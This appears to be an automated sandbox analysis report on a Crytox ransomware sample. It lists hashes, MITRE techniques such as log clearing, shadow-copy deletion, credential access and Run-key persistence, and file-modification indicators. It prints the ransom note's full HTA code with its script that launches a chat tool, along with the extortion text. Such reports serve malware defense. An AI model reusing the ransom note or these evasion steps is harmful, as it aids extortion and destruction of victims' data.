crytox | d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455

max time kernel
150s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
12/07/2026, 12:54

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Red-Flaged/d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe
Size 1.2MB
Sample260712-p5a8dsas8k
SHA256 d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455
MD5 823e4c4e47e8dabe32fc700409a78537
SHA1 f973a6495b33941be62a59ee17085051cfca4719
SHA512 a805c176e0d650bee5270f4da0d7907c828affeb6d351506a13bc42a5550901006f1ca51d39c24bc1d64e86cff5592b81ef0ec3edc2459d282aee85d7a6a2c29
SSDEEP 24576:W88lWqXTOlAiZLkk7g9WWYNranPdeDk7bE0KdYqTAK:WTl3XTOl6ag90cPdX/Ad9TA
TLSH
T12155332AD712E8A5F34B847DB47C9F990824B4E8C4AC7A57873F4D2365735D2A0CC9E2
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

credential_access defense_evasion discovery execution crytox impact persistence ransomware stealer upx

Malware Config

Extracted

Path

C:\$Recycle.Bin\ReadMe.hta

crytox

Ransom Note

<html><head><meta charset='UTF-8'><title>recovery tool</title><HTA:APPLICATION ICON='msiexec.exe' SINGLEINSTANCE='yes' SysMenu="no"> <script language='JScript'>window.moveTo(50,50);window.resizeTo(screen.width-100,screen.height-100);</script><script>function countdown(dateEnd){var timer,days,hours,minutes,seconds;dateEnd=new Date(dateEnd);dateEnd=dateEnd.getTime();if(isNaN(dateEnd)){return;}timer=setInterval(calculate,1000);function calculate(){var dateStart=new Date();var dateStart=new Date(dateStart.getUTCFullYear(),dateStart.getUTCMonth(),dateStart.getUTCDate(),dateStart.getUTCHours(),dateStart.getUTCMinutes(),dateStart.getUTCSeconds());var timeRemaining=parseInt((dateEnd-dateStart.getTime())/1000);if(timeRemaining>=0){days=parseInt(timeRemaining/86400);timeRemaining=(timeRemaining%86400);hours=parseInt(timeRemaining/3600);timeRemaining=(timeRemaining%3600);minutes=parseInt(timeRemaining/60);timeRemaining=(timeRemaining%60);seconds=parseInt(timeRemaining);document.getElementById("days").innerHTML=parseInt(days,10);document.getElementById("hours").innerHTML=("0" + hours).slice(-2);document.getElementById("minutes").innerHTML=("0"+minutes).slice(-2);document.getElementById("seconds").innerHTML=("0"+seconds).slice(-2);}else{return;}}function display(days,hours,minutes,seconds){}}countdown('07/17/2026');</script><script language="VBScript">Sub RunUTOX( ) set sh = CreateObject("Wscript.shell") sh.Run "%windir%\utox.exe",1 End Sub</script> <style type='text/css'>body {font:15px Tahoma;margin:10px;line-height:25px;background:#000000;color:#FFF} .bold {font-weight:bold;} .mark {color:#ffd731;padding:2px 5px;} img {display:block;margin:auto;} .header {text-align:center;font-size:30px;line-height:50px;font-weight:bold;margin-bottom:20px;} .info {background:#000000;border-left:10px solid #000000;} .alert {background:#FF0000;border-left:10px solid #FF0000;} .private {border:1px dashed #000;background:#FFFFEF;} .note {height:auto;padding-bottom:1px;margin:15px 0;} .note .title {font-weight:bold;text-indent:10px;height:30px;line-height:30px;padding-top:10px;} .note .mark {background:#A2A2B5;} .note ul {margin-top:0;} .note pre {margin-left:15px;line-height:13px;font-size:13px;}.countdown{width:100%;float:left;margin:20px auto}.timer{font:72px Courier;color:#fff;text-align:center}</style></head><body><img src='data:image/jpeg;base64,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'><div class='header'><div>YOUR FILES ARE ENCRYPTED</div></div><div class='bold'>Your PC security is at risk</span></div><div class='bold'>All your files were encrypted and important data was copied to our storage</span></div><div class='bold'>If you do not need your files, then the private key will be deleted within 5 days</span></div><div class='bold'>If you want to restore files and return important data,<input type="button" value="start UTOX" onclick="vbscript:RunUTOX ( )"/> application, contact the operator and enter YOUR ID </span><font color=Lime> MLLUKULZ5</font></div><div class='bold'>ID of your personal operator </span><font color=Blue> 07BF3802C93C42739CFD0328A830801C7182C73D2FFC28E76681C6EFFC85A478CD9B12849523</font></div></div><div class='bold'>If the Operator did not respond within 24 hours or encountered any problem then send an email to our support </span><font color=Blue>[email protected]</font></div><div class='bold'>In the header of the letter, indicate your ID and attach 2-3 infected files for the decryption tool</span></div><div class='bold'>Files should not have important information and should not exceed the size of more than 5 MB</span></div><div class='bold'>As our guarantees, we will return your files restored</span></div><div class='note alert'><div class='title'>Attention!</div><ul><li>Do not rename encrypted files.</li><li>Do not try to decrypt your data using third party software, it may cause permanent data loss.</li><li>Decryption of your files with the help of third parties may cause increased price (they add their fee to our) or you can become a victim of a scam.</div></li><div class='countdown'><p class='timer'><span id='days'></span>:<span id='hours'></span>:<span id='minutes'></span>:<span id='seconds'></span></p></div></ul></div></body></html>

Emails

color=Blue>[email protected]</font></div><div

Signatures

Family: Crytox
Crytox is a ransomware that has been active since 2020.
ransomware crytox

Clears Windows event logs 1 TTPs 64 IoCs

defense_evasion ransomware

Clear Windows Event Logs

T1070.001

pid	Process
6700	wevtutil.exe
1244	wevtutil.exe
1776	wevtutil.exe
3552	wevtutil.exe
5896	wevtutil.exe
6868	wevtutil.exe
5320	wevtutil.exe
4552	wevtutil.exe
5640	wevtutil.exe
1044	wevtutil.exe
1436	wevtutil.exe
6964	wevtutil.exe
5672	Process not Found
1148	wevtutil.exe
6000	wevtutil.exe
6980	wevtutil.exe
5312	wevtutil.exe
7312	wevtutil.exe
5544	wevtutil.exe
5596	wevtutil.exe
4572	wevtutil.exe
7940	wevtutil.exe
1560	wevtutil.exe
1340	wevtutil.exe
5760	wevtutil.exe
4344	wevtutil.exe
7352	wevtutil.exe
1124	wevtutil.exe
5344	wevtutil.exe
8044	wevtutil.exe
1368	Process not Found
7440	Process not Found
4476	wevtutil.exe
7652	wevtutil.exe
6740	wevtutil.exe
5860	Process not Found
6072	wevtutil.exe
6328	wevtutil.exe
848	wevtutil.exe
4428	wevtutil.exe
7704	Process not Found
5328	wevtutil.exe
7364	wevtutil.exe
5792	wevtutil.exe
5852	wevtutil.exe
4684	wevtutil.exe
1076	wevtutil.exe
6624	wevtutil.exe
2948	wevtutil.exe
5948	wevtutil.exe
6248	wevtutil.exe
7096	wevtutil.exe
5556	wevtutil.exe
4132	wevtutil.exe
6692	wevtutil.exe
6308	wevtutil.exe
8028	wevtutil.exe
916	wevtutil.exe
2636	wevtutil.exe
4380	wevtutil.exe
5228	wevtutil.exe
7840	wevtutil.exe
3792	wevtutil.exe
7336	wevtutil.exe

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (14322) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Credentials from Password Stores: Windows Credential Manager 1 TTPs
Suspicious access to Credentials History.
credential_access stealer

Windows Credential Manager
T1555.004

Deletes itself 1 IoCs

pid	Process
792	svchost.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\open = "\"C:\\ReadMe.hta\""	d60dc6965f6d68a3e7c82d42e90bfda7ad3c5874d2c59a66df6212aef027b455.exe

Drops desktop.ini file(s) 33 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\Links\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\Favorites\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\Desktop\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\Pictures\Camera Roll\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Public\AccountPictures\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Public\Documents\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\Pictures\Saved Pictures\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\desktop.ini	Explorer.EXE
File opened for modification	C:\Program Files (x86)\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\3D Objects\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Public\Videos\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\Videos\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\Favorites\Links\desktop.ini	Explorer.EXE
File opened for modification	C:\Program Files\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Public\Music\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\Downloads\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Explorer.EXE
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI	Explorer.EXE
File opened for modification	C:\Users\Admin\Contacts\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Public\Libraries\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\Searches\desktop.ini	Explorer.EXE
File opened for modification	F:\$RECYCLE.BIN\S-1-5-21-2370214745-1838013427-2987045292-1000\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\OneDrive\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\Pictures\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\Saved Games\desktop.ini	Explorer.EXE
File opened for modification	C:\$Recycle.Bin\S-1-5-21-2370214745-1838013427-2987045292-1000\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Public\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\Documents\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Public\Desktop\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Public\Downloads\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Public\Pictures\desktop.ini	Explorer.EXE
File opened for modification	C:\Users\Admin\Music\desktop.ini	Explorer.EXE

Power Settings 1 TTPs 1 IoCs

powercfg controls all configurable power system settings on a Windows system and can be abused to prevent an infected host from locking or shutting down.

persistence

Power Settings

T1653

pid	Process
2116	wevtutil.exe

UPX packed file 2 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral25/memory/2832-1-0x0000000140000000-0x00000001402F7000-memory.dmp	upx
behavioral25/memory/2832-5-0x0000000140000000-0x00000001402F7000-memory.dmp	upx

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\AppPackageAppList.targetsize-16.png	Explorer.EXE
File created	C:\Program Files\WindowsApps\Microsoft.NET.Native.Framework.2.2_2.2.27405.0_x64__8wekyb3d8bbwe\ReadMe.hta	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_delete_18.svg MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\check-mark-2x.png MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files\WindowsApps\microsoft.windowscommunicationsapps_16005.11629.20316.0_x64__8wekyb3d8bbwe\images\contrast-black\HxCalendarAppList.targetsize-20_altform-unplated.png	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeUpdate_disable\1.3.195.65\msedgeupdateres_et.dll	Explorer.EXE
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\DataServices\DESKTOP.INI MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files\WindowsApps\Microsoft.HEIFImageExtension_1.0.22742.0_x64__8wekyb3d8bbwe\Assets\contrast-white\StoreLogo.scale-400_contrast-white.png	Explorer.EXE
File opened for modification	C:\Program Files\Microsoft Office\root\Office15\pidgenx.dll	Explorer.EXE
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\8.0.15\de\UIAutomationClient.resources.dll MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files (x86)\WindowsPowerShell\Modules\PackageManagement\1.0.0.1\DSCResources\MSFT_PackageManagement\fr-FR\ReadMe.hta	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\s_gridview-hover.svg	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Common Files\System\Ole DB\it-IT\msdasqlr.dll.mui MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files\Microsoft Office\root\Office16\1033\EXPTOOWS.DLL	Explorer.EXE
File opened for modification	C:\Program Files\dotnet\shared\Microsoft.WindowsDesktop.App\6.0.27\System.IO.Packaging.dll MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\scan-files\images\themeless\Playstore\hu_get.svg MLLUKULZ5.waiting	Explorer.EXE
File created	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-recent-files\js\nls\sl-si\ReadMe.hta	Explorer.EXE
File opened for modification	C:\Program Files\WindowsApps\Microsoft.ZuneMusic_10.19071.19011.0_x64__8wekyb3d8bbwe\Assets\AppList.targetsize-96_altform-lightunplated_devicefamily-colorfulunplated.png	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Microsoft\EdgeCore\139.0.3405.125\Installer\msedge_7z.data MLLUKULZ5.waiting	Explorer.EXE
File created	C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\OFFICE16\1033\ReadMe.hta	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\on-boarding\images\themeless\hu_get.svg MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files (x86)\Reference Assemblies\Microsoft\Framework\v3.0\System.Workflow.Runtime.dll	Explorer.EXE
File opened for modification	C:\Program Files\Java\jdk-1.8\bin\api-ms-win-crt-multibyte-l1-1-0.dll	Explorer.EXE
File opened for modification	C:\Program Files\VideoLAN\VLC\plugins\demux\libvobsub_plugin.dll MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsAlarms_10.1906.2182.0_x64__8wekyb3d8bbwe\AppxManifest.xml	Explorer.EXE
File opened for modification	C:\Program Files\WindowsApps\Microsoft.WindowsMaps_5.1906.1972.0_x64__8wekyb3d8bbwe\Assets\SecondaryTiles\TrafficHub\contrast-white\LargeTile.scale-200.png	Explorer.EXE
File opened for modification	C:\Program Files\WindowsApps\Microsoft.XboxSpeechToTextOverlay_1.17.29001.0_x64__8wekyb3d8bbwe\Assets\GamesXboxHubSplashScreen.scale-200.png	Explorer.EXE
File opened for modification	C:\Program Files\Microsoft Office\root\Licenses16\OneNoteVL_KMS_Client-ppd.xrm-ms	Explorer.EXE
File opened for modification	C:\Program Files\ClearTest.rtf	Explorer.EXE
File opened for modification	C:\Program Files\Microsoft Office\root\fre\StartMenu_Win10_RTL.mp4 MLLUKULZ5.waiting	Explorer.EXE
File opened for modification	C:\Program Files\Microsoft Office\root\Integration\C2RManifest.outlookmui.msi.16.en-us.xml	Explorer.EXE
File created	C:\Program Files\VideoLAN\VLC\locale\an\LC_MESSAGES\ReadMe.hta	Explorer.EXE
File opened for modification	C:\Program Files\WindowsApps\Microsoft.DesktopAppInstaller_1.0.30251.0_x64__8wekyb3d8bbwe\Assets\contrast-black\AppPackageAppList.targetsize-256_contrast-black.png	Explorer.EXE
